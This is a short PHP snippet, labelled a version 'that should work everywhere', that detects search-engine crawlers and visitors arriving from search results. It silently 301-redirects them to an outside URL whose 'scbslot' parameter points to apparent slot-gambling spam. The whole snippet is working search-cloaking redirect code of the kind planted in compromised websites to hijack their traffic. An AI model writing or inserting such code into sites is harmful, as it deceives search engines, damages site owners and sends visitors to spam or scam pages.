// Simple version that should work everywhere
$userAgent = isset($_SERVER['HTTP_USER_AGENT']) ? strtolower($_SERVER['HTTP_USER_AGENT']) : '';
$referrer = isset($_SERVER['HTTP_REFERER']) ? strtolower($_SERVER['HTTP_REFERER']) : '';

// Check for bots
$botKeywords = array('bot', 'crawl', 'spider', 'slurp', 'googlebot', 'bingbot', 'yahoo', 'duckduckgo');
$isBot = false;
foreach ($botKeywords as $keyword) {
    if (strpos($userAgent, $keyword) !== false) {
        $isBot = true;
        break;
    }
}

// Check for search engines
$searchEngines = array('google.', 'bing.', 'yahoo.', 'search.');
$isFromSearch = false;
foreach ($searchEngines as $engine) {
    if (strpos($referrer, $engine) !== false) {
        $isFromSearch = true;
        break;
    }
}

// Redirect logic
if ($isBot || $isFromSearch) {
    header("Location: https://www.focusonesoftware.com/video/title.php?index=scbslot", true, 301);
    exit();
}